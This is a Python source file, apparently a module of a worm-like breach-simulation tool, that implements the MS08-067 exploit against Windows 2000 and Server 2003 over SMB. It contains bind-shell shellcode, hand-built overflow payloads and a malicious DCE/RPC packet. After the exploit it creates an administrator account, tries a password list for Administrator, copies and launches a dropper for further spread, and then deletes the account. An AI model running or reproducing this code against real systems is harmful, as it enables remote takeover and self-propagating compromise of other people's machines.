273 lines
12 KiB
Python
273 lines
12 KiB
Python
#!/usr/bin/env python
|
|
#############################################################################
|
|
# MS08-067 Exploit by Debasis Mohanty (aka Tr0y/nopsled)
|
|
# www.hackingspirits.com
|
|
# www.coffeeandsecurity.com
|
|
# Email: d3basis.m0hanty @ gmail.com
|
|
#############################################################################
|
|
|
|
import sys
|
|
import time
|
|
import socket
|
|
from enum import IntEnum
|
|
from logging import getLogger
|
|
from model.host import VictimHost
|
|
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
|
|
from . import HostExploiter
|
|
from exploit.tools import SmbTools, get_target_monkey
|
|
from network.tools import check_port_tcp
|
|
from network import SMBFinger
|
|
from tools import build_monkey_commandline
|
|
|
|
try:
|
|
from impacket import smb
|
|
from impacket import uuid
|
|
#from impacket.dcerpc import dcerpc
|
|
from impacket.dcerpc.v5 import transport
|
|
from impacket.smbconnection import SessionError as SessionError1
|
|
from impacket.smb import SessionError as SessionError2
|
|
from impacket.smb3 import SessionError as SessionError3
|
|
except ImportError, exc:
|
|
print str(exc)
|
|
print 'Install the following library to make this script work'
|
|
print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'
|
|
print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'
|
|
sys.exit(1)
|
|
|
|
|
|
LOG = getLogger(__name__)
|
|
|
|
# Portbind shellcode from metasploit; Binds port to TCP port 4444
|
|
SHELLCODE = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
|
|
SHELLCODE += "\x29\xc9\x83\xe9\xb0\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\xe9"
|
|
SHELLCODE += "\x4a\xb6\xa9\x83\xee\xfc\xe2\xf4\x15\x20\x5d\xe4\x01\xb3\x49\x56"
|
|
SHELLCODE += "\x16\x2a\x3d\xc5\xcd\x6e\x3d\xec\xd5\xc1\xca\xac\x91\x4b\x59\x22"
|
|
SHELLCODE += "\xa6\x52\x3d\xf6\xc9\x4b\x5d\xe0\x62\x7e\x3d\xa8\x07\x7b\x76\x30"
|
|
SHELLCODE += "\x45\xce\x76\xdd\xee\x8b\x7c\xa4\xe8\x88\x5d\x5d\xd2\x1e\x92\x81"
|
|
SHELLCODE += "\x9c\xaf\x3d\xf6\xcd\x4b\x5d\xcf\x62\x46\xfd\x22\xb6\x56\xb7\x42"
|
|
SHELLCODE += "\xea\x66\x3d\x20\x85\x6e\xaa\xc8\x2a\x7b\x6d\xcd\x62\x09\x86\x22"
|
|
SHELLCODE += "\xa9\x46\x3d\xd9\xf5\xe7\x3d\xe9\xe1\x14\xde\x27\xa7\x44\x5a\xf9"
|
|
SHELLCODE += "\x16\x9c\xd0\xfa\x8f\x22\x85\x9b\x81\x3d\xc5\x9b\xb6\x1e\x49\x79"
|
|
SHELLCODE += "\x81\x81\x5b\x55\xd2\x1a\x49\x7f\xb6\xc3\x53\xcf\x68\xa7\xbe\xab"
|
|
SHELLCODE += "\xbc\x20\xb4\x56\x39\x22\x6f\xa0\x1c\xe7\xe1\x56\x3f\x19\xe5\xfa"
|
|
SHELLCODE += "\xba\x19\xf5\xfa\xaa\x19\x49\x79\x8f\x22\xa7\xf5\x8f\x19\x3f\x48"
|
|
SHELLCODE += "\x7c\x22\x12\xb3\x99\x8d\xe1\x56\x3f\x20\xa6\xf8\xbc\xb5\x66\xc1"
|
|
SHELLCODE += "\x4d\xe7\x98\x40\xbe\xb5\x60\xfa\xbc\xb5\x66\xc1\x0c\x03\x30\xe0"
|
|
SHELLCODE += "\xbe\xb5\x60\xf9\xbd\x1e\xe3\x56\x39\xd9\xde\x4e\x90\x8c\xcf\xfe"
|
|
SHELLCODE += "\x16\x9c\xe3\x56\x39\x2c\xdc\xcd\x8f\x22\xd5\xc4\x60\xaf\xdc\xf9"
|
|
SHELLCODE += "\xb0\x63\x7a\x20\x0e\x20\xf2\x20\x0b\x7b\x76\x5a\x43\xb4\xf4\x84"
|
|
SHELLCODE += "\x17\x08\x9a\x3a\x64\x30\x8e\x02\x42\xe1\xde\xdb\x17\xf9\xa0\x56"
|
|
SHELLCODE += "\x9c\x0e\x49\x7f\xb2\x1d\xe4\xf8\xb8\x1b\xdc\xa8\xb8\x1b\xe3\xf8"
|
|
SHELLCODE += "\x16\x9a\xde\x04\x30\x4f\x78\xfa\x16\x9c\xdc\x56\x16\x7d\x49\x79"
|
|
SHELLCODE += "\x62\x1d\x4a\x2a\x2d\x2e\x49\x7f\xbb\xb5\x66\xc1\x19\xc0\xb2\xf6"
|
|
SHELLCODE += "\xba\xb5\x60\x56\x39\x4a\xb6\xa9"
|
|
|
|
|
|
# Payload for Windows 2000 target
|
|
PAYLOAD_2000 ='\x41\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00'
|
|
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
|
PAYLOAD_2000 += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
|
PAYLOAD_2000 += '\x41\x41'
|
|
PAYLOAD_2000 += '\x2f\x68\x18\x00\x8b\xc4\x66\x05\x94\x04\x8b\x00\xff\xe0'
|
|
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
|
|
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
|
|
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
|
|
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
|
|
PAYLOAD_2000 += '\x43\x43\x43\x43\x43\x43\x43\x43'
|
|
PAYLOAD_2000 += '\xeb\xcc'
|
|
PAYLOAD_2000 += '\x00\x00'
|
|
|
|
# Payload for Windows 2003[SP2] target
|
|
PAYLOAD_2003 ='\x41\x00\x5c\x00'
|
|
PAYLOAD_2003 += '\x2e\x00\x2e\x00\x5c\x00\x2e\x00'
|
|
PAYLOAD_2003 += '\x2e\x00\x5c\x00\x0a\x32\xbb\x77'
|
|
PAYLOAD_2003 += '\x8b\xc4\x66\x05\x60\x04\x8b\x00'
|
|
PAYLOAD_2003 += '\x50\xff\xd6\xff\xe0\x42\x84\xae'
|
|
PAYLOAD_2003 += '\xbb\x77\xff\xff\xff\xff\x01\x00'
|
|
PAYLOAD_2003 += '\x01\x00\x01\x00\x01\x00\x43\x43'
|
|
PAYLOAD_2003 += '\x43\x43\x37\x48\xbb\x77\xf5\xff'
|
|
PAYLOAD_2003 += '\xff\xff\xd1\x29\xbc\x77\xf4\x75'
|
|
PAYLOAD_2003 += '\xbd\x77\x44\x44\x44\x44\x9e\xf5'
|
|
PAYLOAD_2003 += '\xbb\x77\x54\x13\xbf\x77\x37\xc6'
|
|
PAYLOAD_2003 += '\xba\x77\xf9\x75\xbd\x77\x00\x00'
|
|
|
|
|
|
class WindowsVersion(IntEnum):
|
|
Windows2000 = 1
|
|
Windows2003_SP2 = 2
|
|
|
|
|
|
class SRVSVC_Exploit(object):
|
|
TELNET_PORT = 4444
|
|
|
|
def __init__(self, target_addr, os_version=WindowsVersion.Windows2003_SP2, port=445):
|
|
self._port = port
|
|
self._target = target_addr
|
|
self._payload = PAYLOAD_2000 if WindowsVersion.Windows2000 == os_version else PAYLOAD_2003
|
|
|
|
def get_telnet_port(self):
|
|
"""get_telnet_port()
|
|
|
|
The port on which the Telnet service will listen.
|
|
"""
|
|
|
|
return SRVSVC_Exploit.TELNET_PORT
|
|
|
|
def start(self):
|
|
"""start() -> socket
|
|
|
|
Exploit the target machine and return a socket connected to it's
|
|
listening Telnet service.
|
|
"""
|
|
|
|
target_rpc_name = "ncacn_np:%s[\\pipe\\browser]" % self._target
|
|
|
|
LOG.debug("Initiating exploit connection (%s)", target_rpc_name)
|
|
self._trans = transport.DCERPCTransportFactory(target_rpc_name)
|
|
self._trans.connect()
|
|
|
|
LOG.debug("Connected to %s", target_rpc_name)
|
|
|
|
self._dce = self._trans.DCERPC_class(self._trans)
|
|
self._dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
|
|
|
|
dce_packet = self._build_dce_packet()
|
|
self._dce.call(0x1f, dce_packet) #0x1f (or 31)- NetPathCanonicalize Operation
|
|
|
|
LOG.debug("Exploit sent to %s successfully...", self._target)
|
|
LOG.debug("Target machine should be listening over port %d now", self.get_telnet_port())
|
|
|
|
sock = socket.socket()
|
|
sock.connect((self._target, self.get_telnet_port()))
|
|
return sock
|
|
|
|
def _build_dce_packet(self):
|
|
# Constructing Malicious Packet
|
|
dce_packet = '\x01\x00\x00\x00'
|
|
dce_packet += '\xd6\x00\x00\x00\x00\x00\x00\x00\xd6\x00\x00\x00'
|
|
dce_packet += SHELLCODE
|
|
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
|
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
|
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
|
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
|
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
|
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
|
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
|
dce_packet += '\x41\x41\x41\x41\x41\x41\x41\x41'
|
|
dce_packet += '\x00\x00\x00\x00'
|
|
dce_packet += '\x2f\x00\x00\x00\x00\x00\x00\x00\x2f\x00\x00\x00'
|
|
dce_packet += self._payload
|
|
dce_packet += '\x00\x00\x00\x00'
|
|
dce_packet += '\x02\x00\x00\x00\x02\x00\x00\x00'
|
|
dce_packet += '\x00\x00\x00\x00\x02\x00\x00\x00'
|
|
dce_packet += '\x5c\x00\x00\x00\x01\x00\x00\x00'
|
|
dce_packet += '\x01\x00\x00\x00'
|
|
|
|
return dce_packet
|
|
|
|
class Ms08_067_Exploiter(HostExploiter):
|
|
_target_os_type = ['windows']
|
|
_windows_versions = {'Windows Server 2003 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2,
|
|
'Windows Server 2003 R2 3790 Service Pack 2' : WindowsVersion.Windows2003_SP2}
|
|
|
|
def __init__(self):
|
|
self._config = __import__('config').WormConfiguration
|
|
self._guid = __import__('config').GUID
|
|
|
|
def is_os_supported(self, host):
|
|
if host.os.get('type') in self._target_os_type and \
|
|
host.os.get('version') in self._windows_versions.keys():
|
|
return True
|
|
|
|
if not host.os.get('type') or (host.os.get('type') in self._target_os_type and not host.os.get('version')):
|
|
is_smb_open,_ = check_port_tcp(host.ip_addr, 445)
|
|
if is_smb_open:
|
|
smb_finger = SMBFinger()
|
|
if smb_finger.get_host_fingerprint(host):
|
|
return host.os.get('type') in self._target_os_type and \
|
|
host.os.get('version') in self._windows_versions.keys()
|
|
return False
|
|
|
|
def exploit_host(self, host, depth=-1, src_path=None):
|
|
assert isinstance(host, VictimHost)
|
|
|
|
src_path = src_path or get_target_monkey(host)
|
|
|
|
if not src_path:
|
|
LOG.info("Can't find suitable monkey executable for host %r", host)
|
|
return False
|
|
|
|
os_version = self._windows_versions.get(host.os.get('version'), WindowsVersion.Windows2003_SP2)
|
|
|
|
exploited = False
|
|
for _ in range(self._config.ms08_067_exploit_attempts):
|
|
exploit = SRVSVC_Exploit(target_addr=host.ip_addr, os_version=os_version)
|
|
|
|
try:
|
|
sock = exploit.start()
|
|
|
|
sock.send("cmd /c (net user %s %s /add) &&"
|
|
" (net localgroup administrators %s /add)\r\n" % \
|
|
(self._config.ms08_067_remote_user_add,
|
|
self._config.ms08_067_remote_user_pass,
|
|
self._config.ms08_067_remote_user_add))
|
|
time.sleep(2)
|
|
reply = sock.recv(1000)
|
|
|
|
LOG.debug("Exploited into %r using MS08-067", host)
|
|
exploited = True
|
|
break
|
|
except Exception, exc:
|
|
LOG.debug("Error exploiting victim %r: (%s)", host, exc)
|
|
continue
|
|
|
|
if not exploited:
|
|
LOG.debug("Exploiter MS08-067 is giving up...")
|
|
return False
|
|
|
|
# copy the file remotely using SMB
|
|
remote_full_path = SmbTools.copy_file(host,
|
|
self._config.ms08_067_remote_user_add,
|
|
self._config.ms08_067_remote_user_pass,
|
|
src_path,
|
|
self._config.dropper_target_path)
|
|
|
|
if not remote_full_path:
|
|
# try other passwords for administrator
|
|
for password in self._config.psexec_passwords:
|
|
remote_full_path = SmbTools.copy_file(host,
|
|
"Administrator",
|
|
password,
|
|
src_path,
|
|
self._config.dropper_target_path)
|
|
if remote_full_path:
|
|
break
|
|
|
|
if not remote_full_path:
|
|
return False
|
|
|
|
# execute the remote dropper in case the path isn't final
|
|
if remote_full_path.lower() != self._config.dropper_target_path.lower():
|
|
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
|
|
else:
|
|
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
|
|
|
|
cmdline += build_monkey_commandline(host, depth - 1)
|
|
|
|
try:
|
|
sock.send("start %s\r\n" % (cmdline, ))
|
|
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add, ))
|
|
except Exception, exc:
|
|
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
|
|
return False
|
|
finally:
|
|
try:
|
|
sock.close()
|
|
except:
|
|
pass
|
|
|
|
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
|
remote_full_path, host, cmdline)
|
|
|
|
return True
|